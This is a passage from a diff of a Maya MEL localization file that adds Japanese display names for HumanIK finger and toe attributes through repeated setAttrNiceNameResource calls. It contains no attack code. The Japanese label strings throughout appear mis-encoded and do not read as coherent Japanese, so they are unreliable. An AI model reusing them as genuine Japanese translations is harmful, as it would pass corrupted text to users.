"LeftInHandRingR", "ラハヨボテヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingRx", "ラハヨボテヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingRy", "ラハヨボテヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingRz", "ラハヨボテヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingS", "ラハヨボテヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingSx", "ラハヨボテヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingSy", "ラハヨボテヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingSz", "ラハヨボテヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPGX", "ラハヨボテヨクトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingROrder", "ラハヨボテヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingSC", "ラハヨボテヨクトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingIS", "ラハヨボテヨクトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingISx", "ラハヨボテヨクトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingISy", "ラハヨボテヨクトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingISz", "ラハヨボテヨクトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPreR", "ラハヨボテヨクトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPreRx", "ラハヨボテヨクトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPreRy", "ラハヨボテヨクトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPreRz", "ラハヨボテヨクトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPostR", "ラハヨボテヨクトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPostRx", "ラハヨボテヨクトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPostRy", "ラハヨボテヨクトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingPostRz", "ラハヨボテヨクトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyT", "ラハヨミ。ヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyTx", "ラハヨミ。ヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyTy", "ラハヨミ。ヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyTz", "ラハヨミ。ヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyR", "ラハヨミ。ヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyRx", "ラハヨミ。ヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyRy", "ラハヨミ。ヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyRz", "ラハヨミ。ヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyS", "ラハヨミ。ヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkySx", "ラハヨミ。ヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkySy", "ラハヨミ。ヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkySz", "ラハヨミ。ヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPGX", "ラハヨミ。ヨクトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyROrder", "ラハヨミ。ヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkySC", "ラハヨミ。ヨクトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyIS", "ラハヨミ。ヨクトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyISx", "ラハヨミ。ヨクトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyISy", "ラハヨミ。ヨクトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyISz", "ラハヨミ。ヨクトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPreR", "ラハヨミ。ヨクトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPreRx", "ラハヨミ。ヨクトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPreRy", "ラハヨミ。ヨクトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPreRz", "ラハヨミ。ヨクトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPostR", "ラハヨミ。ヨクトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPostRx", "ラハヨミ。ヨクトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPostRy", "ラハヨミ。ヨクトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandPinkyPostRz", "ラハヨミ。ヨクトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerT", "ラハヨチヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerTx", "ラハヨチヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerTy", "ラハヨチヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerTz", "ラハヨチヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerR", "ラハヨチヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerRx", "ラハヨチヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerRy", "ラハヨチヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerRz", "ラハヨチヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerS", "ラハヨチヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerSx", "ラハヨチヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerSy", "ラハヨチヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerSz", "ラハヨチヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPGX", "ラハヨチヨクトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerROrder", "ラハヨチヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerSC", "ラハヨチヨクトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerIS", "ラハヨチヨクトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerISx", "ラハヨチヨクトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerISy", "ラハヨチヨクトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerISz", "ラハヨチヨクトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPreR", "ラハヨチヨクトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPreRx", "ラハヨチヨクトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPreRy", "ラハヨチヨクトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPreRz", "ラハヨチヨクトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPostR", "ラハヨチヨクトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPostRx", "ラハヨチヨクトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPostRy", "ラハヨチヨクトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPostRz", "ラハヨチヨクトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbT", "モメハヨトエヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbTx", "モメハヨトエヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbTy", "モメハヨトエヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbTz", "モメハヨトエヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbR", "モメハヨトエヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbRx", "モメハヨトエヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbRy", "モメハヨトエヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbRz", "モメハヨトエヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbS", "モメハヨトエヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbSx", "モメハヨトエヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbSy", "モメハヨトエヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbSz", "モメハヨトエヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPGX", "モメハヨトエヨクトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbROrder", "モメハヨトエヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbSC", "モメハヨトエヨクトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbIS", "モメハヨトエヨクトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbISx", "モメハヨトエヨクトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbISy", "モメハヨトエヨクトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbISz", "モメハヨトエヨクトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPreR", "モメハヨトエヨクトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPreRx", "モメハヨトエヨクトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPreRy", "モメハヨトエヨクトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPreRz", "モメハヨトエヨクトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPostR", "モメハヨトエヨクトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPostRx", "モメハヨトエヨクトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPostRy", "モメハヨトエヨクトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPostRz", "モメハヨトエヨクトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexT", "モメハヨハウヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexTx", "モメハヨハウヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexTy", "モメハヨハウヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexTz", "モメハヨハウヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexR", "モメハヨハウヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexRx", "モメハヨハウヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexRy", "モメハヨハウヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexRz", "モメハヨハウヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexS", "モメハヨハウヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexSx", "モメハヨハウヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexSy", "モメハヨハウヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexSz", "モメハヨハウヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPGX", "モメハヨハウヨクトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexROrder", "モメハヨハウヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexSC", "モメハヨハウヨクトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexIS", "モメハヨハウヨクトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexISx", "モメハヨハウヨクトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexISy", "モメハヨハウヨクトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexISz", "モメハヨハウヨクトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPreR", "モメハヨハウヨクトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPreRx", "モメハヨハウヨクトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPreRy", "モメハヨハウヨクトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPreRz", "モメハヨハウヨクトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPostR", "モメハヨハウヨクトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPostRx", "モメハヨハウヨクトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPostRy", "モメハヨハウヨクトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPostRz", "モメハヨハウヨクトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleT", "モメハヨヨミヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleTx", "モメハヨヨミヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleTy", "モメハヨヨミヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleTz", "モメハヨヨミヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleR", "モメハヨヨミヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleRx", "モメハヨヨミヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleRy", "モメハヨヨミヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleRz", "モメハヨヨミヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleS", "モメハヨヨミヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleSx", "モメハヨヨミヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleSy", "モメハヨヨミヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleSz", "モメハヨヨミヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePGX", "モメハヨヨミヨクトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleROrder", "モメハヨヨミヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleSC", "モメハヨヨミヨクトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleIS", "モメハヨヨミヨクトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleISx", "モメハヨヨミヨクトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleISy", "モメハヨヨミヨクトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleISz", "モメハヨヨミヨクトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePreR", "モメハヨヨミヨクトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePreRx", "モメハヨヨミヨクトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePreRy", "モメハヨヨミヨクトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePreRz", "モメハヨヨミヨクトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePostR", "モメハヨヨミヨクトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePostRx", "モメハヨヨミヨクトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePostRy", "モメハヨヨミヨクトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePostRz", "モメハヨヨミヨクトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingT", "モメハヨボテヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingTx", "モメハヨボテヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingTy", "モメハヨボテヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingTz", "モメハヨボテヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingR", "モメハヨボテヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingRx", "モメハヨボテヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingRy", "モメハヨボテヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingRz", "モメハヨボテヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingS", "モメハヨボテヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingSx", "モメハヨボテヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingSy", "モメハヨボテヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingSz", "モメハヨボテヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPGX", "モメハヨボテヨクトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingROrder", "モメハヨボテヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingSC", "モメハヨボテヨクトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingIS", "モメハヨボテヨクトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingISx", "モメハヨボテヨクトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingISy", "モメハヨボテヨクトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingISz", "モメハヨボテヨクトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPreR", "モメハヨボテヨクトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPreRx", "モメハヨボテヨクトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPreRy", "モメハヨボテヨクトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPreRz", "モメハヨボテヨクトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPostR", "モメハヨボテヨクトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPostRx", "モメハヨボテヨクトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPostRy", "モメハヨボテヨクトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPostRz", "モメハヨボテヨクトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyT", "モメハヨミ。ヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyTx", "モメハヨミ。ヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyTy", "モメハヨミ。ヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyTz", "モメハヨミ。ヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyR", "モメハヨミ。ヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyRx", "モメハヨミ。ヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyRy", "モメハヨミ。ヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyRz", "モメハヨミ。ヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyS", "モメハヨミ。ヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkySx", "モメハヨミ。ヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkySy", "モメハヨミ。ヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkySz", "モメハヨミ。ヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPGX", "モメハヨミ。ヨクトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyROrder", "モメハヨミ。ヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkySC", "モメハヨミ。ヨクトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyIS", "モメハヨミ。ヨクトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyISx", "モメハヨミ。ヨクトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyISy", "モメハヨミ。ヨクトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyISz", "モメハヨミ。ヨクトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPreR", "モメハヨミ。ヨクトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPreRx", "モメハヨミ。ヨクトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPreRy", "モメハヨミ。ヨクトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPreRz", "モメハヨミ。ヨクトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPostR", "モメハヨミ。ヨクトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPostRx", "モメハヨミ。ヨクトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPostRy", "モメハヨミ。ヨクトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPostRz", "モメハヨミ。ヨクトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerT", "モメハヨチヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerTx", "モメハヨチヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerTy", "モメハヨチヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerTz", "モメハヨチヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerR", "モメハヨチヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerRx", "モメハヨチヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerRy", "モメハヨチヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerRz", "モメハヨチヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerS", "モメハヨチヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerSx", "モメハヨチヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerSy", "モメハヨチヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerSz", "モメハヨチヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPGX", "モメハヨチヨクトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerROrder", "モメハヨチヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerSC", "モメハヨチヨクトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerIS", "モメハヨチヨクトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerISx", "モメハヨチヨクトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerISy", "モメハヨチヨクトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerISz", "モメハヨチヨクトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPreR", "モメハヨチヨクトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPreRx", "モメハヨチヨクトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPreRy", "モメハヨチヨクトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPreRz", "モメハヨチヨクトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPostR", "モメハヨチヨクトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPostRx", "モメハヨチヨクトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPostRy", "モメハヨチヨクトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPostRz", "モメハヨチヨクトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbT", "ラスナエヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbTx", "ラスナエヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbTy", "ラスナエヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbTz", "ラスナエヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbR", "ラスナエヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbRx", "ラスナエヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbRy", "ラスナエヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbRz", "ラスナエヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbS", "ラスナエヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbSx", "ラスナエヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbSy", "ラスナエヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbSz", "ラスナエヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPGX", "ラスナエヨコトレイ PGX" ); 